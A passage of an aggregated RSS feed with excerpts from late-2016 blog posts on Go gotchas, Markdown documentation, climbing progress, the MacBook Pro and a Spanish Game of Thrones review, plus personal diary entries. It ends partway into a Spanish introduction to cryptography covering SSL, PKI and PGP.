&lt;p&gt;Go programming language has some gotchas and there is a &lt;a href="https://go-traps.appspot.com"&gt;number&lt;/a&gt; of &lt;a href="http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/index.html"&gt;good articles&lt;/a&gt; &lt;a href="https://medium.com/@Jarema./golang-slice-append-gotcha-e9020ff37374#.xvfl7r4ti"&gt;explaining&lt;/a&gt; them. I find those articles very important, especially for the newcomers in Go, as I see people run into those gotchas every now and then.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Fri, 04 Nov 2016 14:25:35 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/avoid_gotchas/</guid></item><item><title>2016.11.04</title><link>https://www.wints.org/daypages/2016.11.04/</link><description>&lt;p&gt;Did some work, but mostly prepped to leave for stl.
feeling guilty, that I&amp;rsquo;m not putting in the amount of work I should.
reached stl late, seemed normal, saw s after many years, a fine man.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Fri, 04 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.04/</guid></item><item><title>How to Quickly Switch to a Different Month or Year in the Windows 7 Calendar</title><link>https://justingarrison.com/blog/2016-11-03-quickly-view-month-year-and-decade-information-in-window-7/</link><description>Windows 7 gives the ability to quickly pull up a calendar from the taskbar by clicking on the time.</description><author>Justin Garrison's Homepage</author><pubDate>Fri, 04 Nov 2016 00:52:45 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-11-03-quickly-view-month-year-and-decade-information-in-window-7/</guid></item><item><title>E and Z Notation For Alkenes (+ Cis/Trans)</title><link>https://www.masterorganicchemistry.com/2016/11/03/alkene-nomenclature-cis-and-trans-and-e-and-z/</link><description>E and Z Notation For Alkenes Unlike C–C single bonds, C–C double bonds can&amp;#8217;t undergo rotation without breaking the pi bond One consequence of this</description><author>Master Organic Chemistry</author><pubDate>Thu, 03 Nov 2016 19:40:02 GMT</pubDate><guid isPermaLink="true">https://www.masterorganicchemistry.com/2016/11/03/alkene-nomenclature-cis-and-trans-and-e-and-z/</guid></item><item><title>Meta Documentation</title><link>https://blog.harterrt.com/meta-documentation.html</link><description>&lt;p&gt;You'll see a lot of posts coming down the line on documentation.&lt;/p&gt;
&lt;p&gt;We surveyed our customers last quarter and asked where our data pipeline was lacking.
It turns out the most painful part of using our data pipeline, is reading the documentation.
I've been interesting in learning how to write …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Thu, 03 Nov 2016 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/meta-documentation.html</guid></item><item><title>Why Markdown?</title><link>https://blog.harterrt.com/why-markdown.html</link><description>&lt;div class="toc"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#better-process"&gt;Better Process&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#better-tools"&gt;Better Tools&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="#one-less-tool"&gt;One less tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#the-documentation-sits-next-to-the-code"&gt;The documentation sits next to the code&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="#syncronization"&gt;Syncronization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#discoverability"&gt;Discoverability&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p&gt;Last week I finished a &lt;a href="https://github.com/mozilla/telemetry-batch-view/pull/128"&gt;pull
request&lt;/a&gt; that moved
some documentation from &lt;a href="https://wiki.mozilla.org/Telemetry/LongitudinalExamples"&gt;mozilla's
wiki&lt;/a&gt; to a &lt;a href="https://github.com/mozilla/telemetry-batch-view/blob/master/docs/longitudinal_examples.md"&gt;github
repository&lt;/a&gt;.
It took a couple of hours of editing and toying with pandoc to get right, but …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Thu, 03 Nov 2016 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/why-markdown.html</guid></item><item><title>Día De Los Muertos</title><link>https://faingezicht.com/photos/2016/11/03/muertos/</link><description>Living in San Francisco means having a wealth of cultural events to enjoy. Due to the large Latin population, the Día De Los Muertos celebration in The Mission was one I didn't want to miss. Since most people in Costa Rica don't celebrate the holiday, the traditions were unfamiliar to me, and it was surprising to see how openly people honor their loved ones.

I went with the intention to stay for ten minutes, and ended up walking around for almost two hours.</description><author>Avy Faingezicht</author><pubDate>Thu, 03 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/11/03/muertos/</guid></item><item><title>2016.11.03</title><link>https://www.wints.org/daypages/2016.11.03/</link><description>&lt;p&gt;Met with B from CoC meetup. Also ran into C from ZP. It was a little awkward, as she hadn&amp;rsquo;t responded to my emails yet.
Selling is tough - these projects aren&amp;rsquo;t going to pan out for weeks, maybe months.
Gotta keep going though.&lt;/p&gt;
&lt;p&gt;Also got bad news about Nani. more cancer has been found. We decided to fly out tomorrow to see M, who was very shaken.
got flights for friday evening.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Thu, 03 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.03/</guid></item><item><title>Words to Avoid</title><link>https://peterlyons.com/problog/2016/11/words-to-avoid/</link><description>&lt;p&gt;I commonly groan as a new product, service, protocol, or format is launched with one of my trigger words in the name. To save you the effort of truly considering whether this word is justified in the name of your thing, here's a ready-made list of words that do not belong in the name of your thing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;simple&lt;/li&gt;
&lt;li&gt;lightweight&lt;/li&gt;
&lt;li&gt;easy&lt;/li&gt;
&lt;li&gt;standard&lt;/li&gt;
&lt;li&gt;universal&lt;/li&gt;
&lt;li&gt;permanent&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a bonus, it is very likely that these words do not belong in the name of your thing, so only include them if they truly describe your thing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;automatic&lt;/li&gt;
&lt;/ul&gt;</description><author>Pete's Points</author><pubDate>Wed, 02 Nov 2016 17:19:12 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/11/words-to-avoid/</guid></item><item><title>Canción de Hielo y Fuego: Juego de Tronos: 1</title><link>https://danielpecos.com/2016/11/02/cancion-de-hielo-y-fuego-juego-de-tronos-1/</link><description>&lt;p align="justify"&gt;
  &lt;a href="https://www.amazon.es/Canci%C3%B3n-hielo-fuego-tronos-Gigamesh/dp/8496208923%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D8496208923"&gt;&lt;img alt="Canción de hielo y fuego: Juego de tronos: 1" class="alignleft size-full" height="525" src="https://danielpecos.com/assets/2017/10/Canción-de-hielo-y-fuego-Juego-de-tronos-1.jpg" width="350" /&gt;&lt;/a&gt;&lt;strong&gt;Juego de Tronos (Game of Thrones)&lt;/strong&gt; es una de las franquicias más exitosas de los últimos tiempos que combina batallas épicas, dinastías poderosas y todo un mundo místico que se cierne sobre sus personajes, llenos de emociones netamente humanas. La historia se desarrolla en un mundo ficticio medieval, en un continente llamado Poniente, donde se desenvuelve una historia llena de sucesos impresionantes, increíbles personajes y desenlaces totalmente inesperados. Se trata de &lt;strong&gt;Canción de Hielo y Fuego&lt;/strong&gt;, escrita por George R. R. Martin, una novela que ha sido traducida a más de 30 idiomas desde su lanzamiento. El escritor comenzó a crear esta obra en 1993 y tiempo después, en 1996 fue publicado su primer tomo.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Después de un largo verano, los Siete Reinos se ven amenazados por un invierno devastador. El señor de Invernalia, Lord Eddard Stark debe emprender un viaje hacia Poniente con su viejo amigo el rey Robert Baratheon, abandonando sus dominios en Invernalia para ocupar el cargo de Mano de Rey en la capital.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Lord Stark en búsqueda de respuestas a una serie de intrigas sobre el reinado de Poniente, pone en riesgo su vida y la vida de sus familiares más cercanos. Sin embargo, detrás de distintos sucesos la historia se basa en tres líneas argumentales: la creciente amenaza de los Otros y los salvajes, la temida guerra civil dinástica por el control de la capital y el viaje de Daenerys Targaryen, la hija de un exiliado rey.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Estas tres historias son relacionadas de manera constante durante toda la narración de canción de hielo y fuego, transcurriendo de acuerdo a una serie de sucesos inesperados que cautivan a cualquier lector.
&lt;/p&gt;
&lt;h3 align="justify"&gt;
  “La noche es oscura y alberga cosas aterradoras”
&lt;/h3&gt;
&lt;p align="justify"&gt;
  Los otros o conocidos en el Pueblo Libre como &lt;em&gt;caminantes blancos&lt;/em&gt;, son criaturas que protagonizan de manera indirecta esta historia, forman parte importante de la historia y representan la mayor y más temida amenaza de los Siete Reinos.
&lt;/p&gt;
&lt;p align="justify"&gt;
  La historia es narrada en tercera persona, permitiéndonos ver mediante los ojos y la posición de distintos personajes. En muchas escenas existen muestras claras de cómo la guerra por el poder y la conquista puede destruir familias y acabar con la vida de personas inocentes.
&lt;/p&gt;
&lt;p align="justify"&gt;
  En la historia de canción de fuego y hielo, existen múltiples casas representadas con diferentes emblemas, sin embargo las 4 casas más importantes de toda la historia son: la casa Stark, la casa Baratheon, la casa Targaryen y la prestigiosa casa Lannister.
&lt;/p&gt;
&lt;h3 align="justify"&gt;
  “Cuando se juega al juego de tronos sólo se puede ganar o morir. No hay puntos intermedios”
&lt;/h3&gt;
&lt;p align="justify"&gt;
  Al transcurrir la narración, se puede apreciar tanto la unión como el enfrentamiento entre estas y las demás casas nobles de Poniente; &lt;strong&gt;Canción de Hielo y Fuego&lt;/strong&gt; no sólo se basa en extensos e increíbles personajes sino también en cambios de trama repentinos y violentos, argumentos políticos bien desarrollados y un manejo constante de géneros como la ciencia ficción, la fantasía erótica y el drama.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Esta novela es considerada como una de las obras más innovadoras de su género y ha logrado captar la atención de millones de personas en todo el mundo, incluso para el 2013, esta serie de novelas había alcanzado a más de 25 millones de personas.
&lt;/p&gt;
&lt;p align="justify"&gt;
  &lt;noscript&gt;
  &lt;/noscript&gt;
&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Wed, 02 Nov 2016 08:00:06 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/02/cancion-de-hielo-y-fuego-juego-de-tronos-1/</guid></item><item><title>Links - November 02, 2016</title><link>https://faingezicht.com/links/2016/11/02/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 02 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/11/02/links/</guid></item><item><title>Good Support</title><link>https://www.craigpardey.com/post/2016-11-02-good-support/</link><description>&lt;p&gt;I recently had an unexpectedly great support experience from a company that one does not usually associate with excellent customer support: Microsoft.&lt;/p&gt;
&lt;p&gt;I had been running Windows 10 as a VirtualBox VM on my Linux laptop for quite some time. I needed Windows for a few things like my accounting software (Quickbooks) and remote access to the office but the setup wasn&amp;rsquo;t working as cleanly as I&amp;rsquo;d like, particularly around support for external devices like my Garmin Forerunner GPS watch so I decided to switch to a dual boot.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Wed, 02 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-11-02-good-support/</guid></item><item><title>2016.11.02</title><link>https://www.wints.org/daypages/2016.11.02/</link><description>&lt;p&gt;today got a late start. had a webinar in the morning.
I&amp;rsquo;m hugely optimistic (hopeful? desperate?) when it comes to webinars, thinking I&amp;rsquo;m going to learn so much from them.
most of the time I end up tuning them out.&lt;/p&gt;
&lt;p&gt;not sure what I&amp;rsquo;m doing wrong. picking something and implementing it?&lt;/p&gt;
&lt;p&gt;also, sidenote, I wonder if other people are this obsessed with making a business/freedom? I feel I have very little bandwidth to want to think about anything else.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Wed, 02 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.02/</guid></item><item><title>From Vector Space Models to Recommender Systems</title><link>https://trigonaminima.github.io/2016/11/vsm-to-rec-sys/</link><description>Vector Space Models (VSM)</description><author>Playground</author><pubDate>Wed, 02 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2016/11/vsm-to-rec-sys/</guid></item><item><title>October 2016 Review</title><link>https://josh.works/october-2016-review</link><description>&lt;h1 id="october-2016-review"&gt;October 2016 Review&lt;/h1&gt;

&lt;p&gt;This month’s review. In another few days I’ll post the goals for November.&lt;/p&gt;

&lt;p&gt;I had
&lt;a href="/october-2016-review"&gt;three goals for October&lt;/a&gt;, as of about 12 days ago:&lt;/p&gt;

&lt;h2 id="october-goals"&gt;October goals:&lt;/h2&gt;

&lt;h3 id="programming"&gt;Programming&lt;/h3&gt;

&lt;p&gt;I wanted to finish a certain Rails Tutorial, and move on to the next one. This project I made zero progress on. But I’m accepted into the
&lt;a href="https://www.turing.io/"&gt;Turing School’s&lt;/a&gt; January 2017 cohort, and have approval from my company for a long (unpaid) sabbatical for the course.&lt;/p&gt;

&lt;p&gt;So, I’m making progress, and as importantly, I’ve got big pieces of this squared away over the next few months.&lt;/p&gt;

&lt;p&gt;I’d like to reach a point of stability and completeness on my next bullet point (the climber’s guide) before throwing myself into programming training.&lt;/p&gt;

&lt;h3 id="climbers-guide-course"&gt;Climber’s Guide Course&lt;/h3&gt;

&lt;p&gt;I made good progress here. I finally got
&lt;a href="http://climbersguide.co/"&gt;the website&lt;/a&gt; I’m using into a viewable form (the old theme I had was hideous).&lt;/p&gt;

&lt;p&gt;I updated some of the email collection forms (there’s now a sidebar, ready to collect someone’s email address) and I linked to a “best of” sidebar section, linking to some useful articles.&lt;/p&gt;

&lt;p&gt;I added an “about me” and “contact me” page, and then most importantly, 
stripped out everything else. There’s no footer, there’s no public meta data about every post, there’s no stupid nav bar that every theme shoves down your throat.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.climbersguide.co"&gt;www.climbersguide.co&lt;/a&gt; is, from a visual perspective, 
boring. And I wouldn’t take it any other way.&lt;/p&gt;

&lt;p&gt;I started fleshing out a bunch of blog posts, either moving over things I’ve written for
this website, or other ideas I had floating around in my head.&lt;/p&gt;

&lt;p&gt;This is the requisite leg-work to get the website ready to receive traffic, and hopefully capture (in the form of email subscribers) some of those views.&lt;/p&gt;

&lt;p&gt;The email list and drip campaigns is where all the good stuff is, so I’ll turn my attention to that next month.&lt;/p&gt;

&lt;h3 id="climbing-513"&gt;Climbing 5.13&lt;/h3&gt;

&lt;p&gt;Made great progress here. Just a few hours ago, I sent
&lt;a href="http://www.mountainproject.com/v/anarchitect/105750721"&gt;Anarchitect (5.12d)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I got it on my seventh attempt, though I came extremely close (slipped off the last hold) to sending it on my fourth attempt.&lt;/p&gt;

&lt;p&gt;This was the most work I’ve put into a climb ever. It’s also the hardest grade I’ve sent, and I’m not sure if I ever actually climbed 5.12c. (I’ve been on plenty of them, but usually don’t give climbs more than one or two attempts…)&lt;/p&gt;

&lt;p&gt;Some of the lessons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson One: There is an insane amount of optimization you can do in a route&lt;/strong&gt;
. My first attempt on this climb, I fell on almost every move, from the first bolt to the last.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson Two: I’m horrible at remembering my own beta.&lt;/strong&gt;
 A friend of mine who has an
excellent ability to recall his own beta, and others, and adjust it on the fly, upon seeing my climbing said “It’s as if every time you climb a route, it’s your first time.”&lt;/p&gt;

&lt;p&gt;This inability to recall beta has been holding me back for a while. My on-sight ability has gone up and up, but my ability to project a route is horrific.&lt;/p&gt;

&lt;p&gt;So, this time around, I made a “beta map”. I just jotted down every move of the climb, and added some notes about my sequences. 
&lt;a href="https://www.dropbox.com/s/xwqtdmshoufjnfc/Anarchitect%2012d%2010-2016%20Beta%20map.pdf?dl=0"&gt;This is what mine looked like&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The process of recalling enough of my movement to make this map, as well as playing back through every move to recall the ideal sequence, is
exactly what I need. As I climbed the route again after making it (the next day) I was comparing every move I made with what I’d outlined in the map.&lt;/p&gt;

&lt;p&gt;In almost every instance, I had recalled the correct movement. My map worked.&lt;/p&gt;

&lt;p&gt;So, I’ll keep making these maps. I hope to improve my “beta recall”, and even on climbs where I don’t make the map, I’ll become more perceptive of my own movement up the route.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson Three: It’s important to try hard.&lt;/strong&gt;
 I almost sent the route my fourth attempts, but I fell off because I simply didn’t try on the last move. This is a horrible habit I’ve picked up in my climbing, and it’s sneaky. See, you can always try to be stronger, or climb more efficiently, and these are good things, but at the end of the day - if you can try really
really hard, you can make more progress than someone who doesn’t.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson Four: I’ve gotten better at rock climbing in the last few years.&lt;/strong&gt;
 It’s been ages since I’ve had a solid indicator that I’ve improved as a climber. In the last five years, I’ve spent almost three of them not climbing regularly, and just trying to train a bit on my own. Due to seasons and travel, all of my “progress” has been inside, on gym routes. Gym routes have little relationship to outdoor climbs, and they’re not internally consistent
or consistent across time.&lt;/p&gt;

&lt;p&gt;So, I know I’ve been
feeling stronger, but I didn’t have proof. Now I do. I’m going to aim for a few more 5.12ds and 12cs, but I think I’m going to hop on
&lt;a href="https://www.mountainproject.com/v/sonic-youth/105749158"&gt;Sonic Youth&lt;/a&gt; next. It might be a “soft” 5.13a, but supposedly some broken holds in 2010 made it solid for the grade.&lt;/p&gt;

&lt;p&gt;November goals, coming soon.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 01 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/october-2016-review</guid></item><item><title>Writing</title><link>https://faingezicht.com/articles/2016/11/01/writing/</link><description>So it's a bit over a year since I &lt;a href="/articles/2015/10/13/not-first-post/"&gt;wrote about writing&lt;/a&gt;. Has anything changed? Well, yes. I initially thought I'd be sharing many more blog posts about my own thoughts, but for some reason those all end up in half-baked Google docs. Hitting publish is hard. It is much easier to write one or two lines of commentary &lt;a href="/links"&gt;on someone else's writing&lt;/a&gt;, than to produce any essay worth sharing. But there is a gray area right next to content creation:

&gt; "Creation versus consumption" is such a narrow way to frame thinking about computing. I spend half of some days routing.
&gt;
&gt; — Benedict Evans (@BenedictEvans) &lt;a href="https://twitter.com/BenedictEvans/status/792872195013746688"&gt;October 30, 2016&lt;/a&gt;

Routing people to worthwhile content is possibly as important these days as creating the content itself - isn't that what Facebook and Twitter's algorithms do, after all? - and between a few pieces of content, mainly photos, and a blog post here and there, I went from 0-5 daily sessions to 20-40 daily sessions on this site in the last year.

Here's to more writing.

&lt;hr /&gt;

&lt;small&gt;Photo from &lt;a href="https://unsplash.com/photos/Pxm-TUd61vY"&gt;Unsplash.com&lt;/a&gt;&lt;/small&gt;</description><author>Avy Faingezicht</author><pubDate>Tue, 01 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/articles/2016/11/01/writing/</guid></item><item><title>2016.11.01</title><link>https://www.wints.org/daypages/2016.11.01/</link><description>&lt;p&gt;today was a bit on the light side. had a good conversation with p on whether (and how) to pursue stone vs software business.
it&amp;rsquo;s not easy being in his position. he&amp;rsquo;s invested, both personally and professionally. I&amp;rsquo;m thinking I&amp;rsquo;ll set a definitive cutoff date e.g. 1 year to get this going (or not).&lt;/p&gt;
&lt;p&gt;found a new place to work - whole foods cafe. wonderful food, open early, open late, electrical outlets (some).&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Tue, 01 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.01/</guid></item><item><title>Jessica Hische: Lettering Artist &amp;amp; Author</title><link>https://solomon.io/jessica-hische-lettering-artist-author/</link><description>Jessica Hische is a lettering artist, designer and author. Her clients include Nike, NPR, New York Times, Samsung and many more.</description><author>Sam Solomon</author><pubDate>Tue, 01 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/jessica-hische-lettering-artist-author/</guid></item><item><title>Android Test Driven Development</title><link>https://www.umarniz.com/android-test-driven-development/</link><description>Having run a small shop for years with only a handful of developers collaborating together on a project it has been a great experience…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Mon, 31 Oct 2016 23:44:06 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/android-test-driven-development/</guid></item><item><title>Noisevember 2016</title><link>https://rjp.is/blogging/posts/noisevember-2016-2/</link><description>Having singularly failed with all of Juneathon, Inktober and Blogtober, I shall be picking myself up, dusting myself down, and having another crack at Noisevember.</description><author>infrequent oscillations</author><pubDate>Mon, 31 Oct 2016 11:20:07 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/noisevember-2016-2/</guid></item><item><title>Event Sourcing: What properties should Domain Events have?</title><link>https://daniellittle.dev/event-sourcing-what-properties-should-domain-events-have</link><description>What I learned since last time A while ago I wrote about Generating Read Models with Event Sourcing where I suggest adding derived…</description><author>Daniel Little Dev</author><pubDate>Mon, 31 Oct 2016 10:46:13 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/event-sourcing-what-properties-should-domain-events-have</guid></item><item><title>Napa</title><link>https://faingezicht.com/photos/2016/10/31/napa/</link><description>Hannah's grandma was in town this weekend and we drove up to Napa. The art, the wine, the landscapes, and the food, were all wonderful. We enjoyed our time there.</description><author>Avy Faingezicht</author><pubDate>Mon, 31 Oct 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/10/31/napa/</guid></item><item><title>2016.10.31</title><link>https://www.wints.org/daypages/2016.10.31/</link><description>&lt;p&gt;Monday started off with checking out of our old apartment. It was bitter-sweet. Had kind of gotten attached to the place, and hadn&amp;rsquo;t realized it. Had really enjoyed being close to the water.&lt;/p&gt;
&lt;p&gt;Went to Home Depot to get blinds after. The ones that R wanted were 10-15x the basic blinds! Didn&amp;rsquo;t know blinds did that!&lt;/p&gt;
&lt;p&gt;Decided on curtains instead. While the typical man might be bored (honestly, I thought I would be too), but instead I felt a vested interest in what our home looks like, surprise surprise.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Mon, 31 Oct 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.10.31/</guid></item><item><title>My two cents on the new MacBook Pro</title><link>https://muffinman.io/blog/my-two-cents-on-the-new-macbook-pro/</link><description>&lt;article class="article"&gt;&lt;p&gt;After the recent Apple keynote, it seems that community is not happy with the new MacBook Pro.
Well, I&amp;#x27;m not either.&lt;/p&gt;
&lt;p&gt;As for iPhone/iPad, those are toys, I could use pretty much any other modern smartphone/tablet.
But MBP is my working horse, and I was always saying that
it doesn&amp;#x27;t matter how much it costs, I would always get it.&lt;/p&gt;
&lt;p&gt;Things have changed...&lt;/p&gt;
&lt;h3 id="macbook-pro-is-now-a-consumer-machine"&gt;MacBook Pro is now a consumer machine &lt;a class="anchor-link" href="#macbook-pro-is-now-a-consumer-machine"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;New MacBook Pro really lacks the &lt;strong&gt;pro&lt;/strong&gt; part.&lt;/p&gt;
&lt;p&gt;I do understand that companies revolve around profit,
and it seems that we (developers/geeks) are not Apple&amp;#x27;s target audience anymore.
It is hard to say if we ever were. I&amp;#x27;m not mad, just disappointed.
There is so many people out there with the same problem,
and I really hope that someone from Apple will try to tackle our issues.&lt;/p&gt;
&lt;p&gt;MacBooks are getting more and more expensive every year, with kinda outdated hardware
and shiny stuff I don&amp;#x27;t need. Also removing the option to upgrade anything really sucks.
3k machine with max 16gigs of RAM?!
Touchbar is a gimmick - I don&amp;#x27;t give a shit about emoji touch screen on my keyboard.
I want physical keys that I don&amp;#x27;t have to look at when I type.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Emojis? Really?" height="534" src="./touchbar.png" width="950" /&gt;&lt;/figure&gt;
&lt;p&gt;Making things thinner and lighter is nice, but don&amp;#x27;t sacrifice power or keyboard for it.
Same goes for iPhone, if they just made it 2-3mm thicker,
and use all of that space for the bigger battery.
But it ain&amp;#x27;t gonna happen.&lt;/p&gt;
&lt;p&gt;First time in a long time, I&amp;#x27;m thinking about alternatives.
Not that I&amp;#x27;m going to throw away my laptop and get a new one,
but I feel like a need a plan if they continue this way.&lt;/p&gt;
&lt;p&gt;Razor laptops seem really sweet, but then I need to choose between Linux or Windows.
I consider myself being a UNIX guy, so Linux is clearly a way to go,
but as I&amp;#x27;m working in a digital agency where Sketch and Adobe are a must.
Maybe run them in a virtual machine? We&amp;#x27;ll see where it goes.&lt;/p&gt;
&lt;p&gt;To be honest, I will continue to use the MacBook I own.
I would really like to stay on the OSX, it a polished, UNIX like system.
But I hate that feeling that Apple doesn&amp;#x27;t care -
&amp;quot;we can make whatever we want and you&amp;#x27;ll still buy it because there is no better alternative&amp;quot;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 31 Oct 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/my-two-cents-on-the-new-macbook-pro/</guid></item><item><title>Free to Believe Anything</title><link>https://www.danstroot.com/posts/2016-10-30-free-to-believe-anything</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/comic2.png" /&gt;&lt;br /&gt;&lt;br /&gt;When I was growing up, when you read the paper, watched the news, saw a film or a picture, you inherently believed in it.  You trusted the reality it portrayed. You trusted in journalism and even believed the news was actually "fair and balanced". Then technology destroyed the business model of traditional journalism.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2016-10-30-free-to-believe-anything"&gt;Free to Believe Anything&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Mon, 31 Oct 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2016-10-30-free-to-believe-anything</guid></item><item><title>Criptografía</title><link>https://danielpecos.com/documents/seguridad-informatica/criptografia/</link><description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;– ¿Qué significa habla, amigo y entra? -preguntó Merry.__– Es bastante claro -dijo Gimli-. Si eres un amigo, dices la contraseña y las puertas se abren y puedes entrar.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;– Sí -dijo Gandalf-, es posible que estas puertas estén gobernadas por palabras…&lt;/em&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;
    El Señor de los Anillos
  &lt;/p&gt;
  &lt;p&gt;
    J.R.R. Tolkien
  &lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;h2 id="introducción"&gt;Introducción&lt;/h2&gt;
&lt;p&gt;Gran parte de los aficionados a la informáticave el tema de la seguridad informática y de la criptografía como un tema de grandes especialistas, o en relación con los hackers. Tienen razón, ya que esto es así, porque son los grandes matemáticos los que diseñan los mejores sistemas criptográficos, y son los hackers los que tratan de buscar las posibles vulnerabilidades del sistema. Pero no nos quedemos con solo esta visión de la seguridad informática. Existen hoy en día, gran cantidad de software que nos permite comunicarnos de forma segura con quien queramos (y podamos), como por ejemplo con nuestro banco electronico, cuando hacemos transacciones a través de Internet, o con la tienda virtual donde hemos comprado el último éxito de nuestro artista preferido.&lt;/p&gt;
&lt;p&gt;Este tipo de herramientas no son de uso exclusivo para las empresas o autoridades gubernamentales, sino que hay gran cantidad de ellas a nuestra disposición, incluso en código fuente. Solo tenemos que mentalizarnos de que nuestra intimidad puede ser invadida con gran facilidad en cuanto conectamos nuestro ordenador a Internet y hacemos uso de ella. No es que cada vez que nos conectemos haya alguien deseoso de entrar en nuestro ordenador, aunque podría ser, sino que cualquier cosa que se envíe por Internet, podría ser leída por alguien sin demasiadas dificultades. Por ejemplo, cuando contratamos una cuenta de correo a través del web, todos los datos que enviamos para la solicitud, pueden ser leidos por alguien más, a no ser que la web use un sistema de encriptacion de datos (SSL). Pero la cosa no queda solo ahi, ¿estamos seguros que la web que estamos visitando es realmente la web de dicha empresa, y no una copia que alguien ha puesto con la intención de conseguir la mayor cantidad de passwords posibles? La única forma de estar seguros es porque alguien de nuestra confianza acreditará de alguna forma (PKI) que esta web es realmente la que queríamos visitar. Todavía hay más, y es que cuando recibamos correo, éste será almacenado en un disco duro que hay en un ordenador de la empresa a la que hemos contratado el correo, quedando toda la información que recibamos a dicho correo visible para todo aquél que tenga acceso a dicho ordenador. Si en vez de enviar correos “en claro” usaramos algún programa de encriptación (PGP), esto seguiría ocurriendo, aunque ahora ya no podrían ver de que tratan los mensajes, ya que estarían cifrados.&lt;/p&gt;
&lt;p&gt;No es que quiera poner a los webmail por el suelo, creo sinceramente que son un buen servicio para todo aquel que no posea un servidor de correo conectado las 24 horas. Solo digo que hay que saber protegerse de lo que pueda pasar y saber con quien se está tratando, cosa altamente importante y extremadamente dificil en Internet.&lt;/p&gt;
&lt;h2 id="algunas-definiciones"&gt;Algunas definiciones&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cifrado – Descifrado&lt;/strong&gt;: Proceso a través del cual codificamos la información, de tal forma que solo el receptor sea capaz de entender lo que le enviamos.&lt;/li&gt;
